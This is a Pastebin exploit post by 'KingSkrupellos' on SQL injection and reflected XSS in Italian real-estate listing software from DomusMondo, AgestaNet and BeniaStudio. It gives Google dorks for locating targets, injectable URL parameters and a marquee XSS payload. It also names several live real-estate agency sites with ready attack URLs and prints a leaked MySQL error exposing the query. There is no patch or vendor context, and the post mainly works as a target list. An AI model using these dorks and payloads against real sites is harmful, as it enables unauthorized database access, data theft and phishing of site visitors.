KingSkrupellos

DomusMondo AgestaNet BeniaStudio Domini XSS SQL Injection

Aug 21st, 2019
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.42 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : DomusMondo AgestaNet BeniaStudio Domini e Web Hosting XSS SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 22/08/2019
  7. # Vendor Homepage : domusmondo.com - agestanet.it - beniastudio.com
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Google Dorks : inurl:/ricerca-immobile.php?prov_imm=
  12. intext:partner: domusmondo.com Design by Domini e Web Hosting
  13. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  14. Special Elements used in an SQL Command ('SQL Injection') ]
  15. CWE-79 [ Improper Neutralization of Input During
  16. Web Page Generation ('Cross-site Scripting') ]
  17. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  18. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  19. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  20.  
  21. ###################################################################
  22.  
  23. # Impact :
  24. ***********
  25. DomusMondo AgestaNet BeniaStudio Domini e Web Hosting is prone to an SQL-injection
  26. vulnerability because it fails to sufficiently sanitize user-supplied data before using
  27. it in an SQL query. Exploiting this issue could allow an attacker to compromise the
  28. application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  29. A remote attacker can send a specially crafted request to the vulnerable application and
  30. execute arbitrary SQL commands in application`s database. Further exploitation of this
  31. vulnerability may result in unauthorized data manipulation.
  32. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  33.  
  34. Reflected XSS (or Non-Persistent) :
  35. ***************************************
  36. The server reads data directly from the HTTP
  37. request and reflects it back in the HTTP response. Reflected XSS exploits occur when an
  38. attacker causes a victim to supply dangerous content to a vulnerable web application,
  39. which is then reflected back to the victim and executed by the web browser. The most common
  40. mechanism for delivering malicious content is to include it as a parameter in a URL that is
  41. posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
  42. the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
  43. that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
  44. the content is executed by the victim's browser.
  45.  
  46. ###################################################################
  47.  
  48. # SQL Injection Exploit :
  49. **********************
  50. /ricerca-immobile.php?prov_imm=&comune=&contratto=1&tipol_imm=
  51. 1&mq_da=80&mq_a=&prezzo_da=&prezzo_a=&da=&a=[SQL Injection]
  52.  
  53. /ricerca-immobile-in-affitto.php?prov_imm=&comune=&contratto=
  54. &tipol_imm=&mq_da=&mq_a=&prezzo_da=&prezzo_a=&da=[SQL Injection]
  55.  
  56. /ricerca-immobile.php?da=&a=[SQL Injection]
  57.  
  58. /dettaglio-immobile.php?id=[SQL Injection]
  59.  
  60. /contatti_form.php?id_agenzia=[SQL Injection]
  61.  
  62. # Cross Site Scripting XSS Exploit :
  63. ********************************
  64. /ricerca-immobile.php?prov_imm=&comune=&contratto=
  65. 1&tipol_imm=1&mq_da=80&mq_a=&prezzo_da=&prezzo_a=&da=&a=
  66. 1%27<marquee><font%20color=lime%20size=32>XSS-Vulnerability-
  67. Found-By-KingSkrupellos</font></marquee>
  68.  
  69. ###################################################################
  70.  
  71. # Example Vulnerable Sites :
  72. *************************
  73. [+] azzurra-immobiliare.it/ricerca-immobile.php?prov_imm=&comune=&contratto=
  74. 1&tipol_imm=1&mq_da=80&mq_a=&prezzo_da=&prezzo_a=&da=&a=1%27
  75.  
  76. [+] azzurra-immobiliare.it/ricerca-immobile.php?prov_imm=&comune=&contratto=
  77. 1&tipol_imm=1&mq_da=80&mq_a=&prezzo_da=&prezzo_a=&da=&a=
  78. 1%27<marquee><font%20color=lime%20size=32>XSS-Vulnerability-
  79. Found-By-KingSkrupellos</font></marquee>
  80.  
  81. [+] casaideaimmobiliare.com/ricerca-immobile.php?prov_imm=&comune=
  82. &contratto=1&tipol_imm=1&mq_da=80&mq_a=&prezzo_da=
  83. &prezzo_a=&da=&a=1%27
  84.  
  85. [+] centrocasaonline.it/ricerca-immobile.php?prov_imm=&comune=
  86. &contratto=&localita=&zona=&tipol_imm=&mq_da=&mq_a=
  87. &prezzo_da=&prezzo_a=&rent_to_buy=&da=240&a=1%27
  88.  
  89. [+] misaimmobiliare.it/ricerca-immobile.php?prov_imm=&comune=
  90. &contratto=1&tipol_imm=1&mq_da=80&mq_a=&prezzo_da=
  91. &prezzo_a=&da=&a=1%27
  92.  
  93. ###################################################################
  94.  
  95. # Example SQL Database Error :
  96. ****************************
  97. Message: MySQL Query fail: SELECT i.id AS id_imm, i.rif, i.tipo_contratto,
  98. i.thumb_1, i.prezzo, i.trattative_riservate, i.superficie, i.descr_IT, c.comune,
  99. a.img_thumb, tc.descr AS des_tip_imm, sc.descr AS des_sottotip, a.email
  100. AS mail_age FROM immobili AS i JOIN comuni AS c ON i.id_comune =
  101. c.id JOIN agenzie AS a ON i.id_agenzia = a.id LEFT JOIN tipol_cat_immobili
  102. AS tc ON i.id_tipologia_immobile = tc.id LEFT JOIN sotto_tipologie_immobili
  103. AS sc ON i.id_sotto_tipologie_immobili = sc.id WHERE i.pubblica_annuncio =
  104. 1 AND i.id_agenzia = 02103390429 AND i.tipo_contratto = '1' AND
  105. i.id_tipologia_immobile = '1' AND i.superficie >= 80 ORDER BY
  106. i.data_inserzione LIMIT , 10
  107. MySQL Error:You have an error in your SQL syntax; check the
  108. manual that corresponds to your MariaDB server version for the
  109. right syntax to use near ' 10' at line 1
  110.  
  111. ###################################################################
  112.  
  113. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  114.  
  115. ###################################################################
Advertisement
Add Comment
Please, Sign In to add comment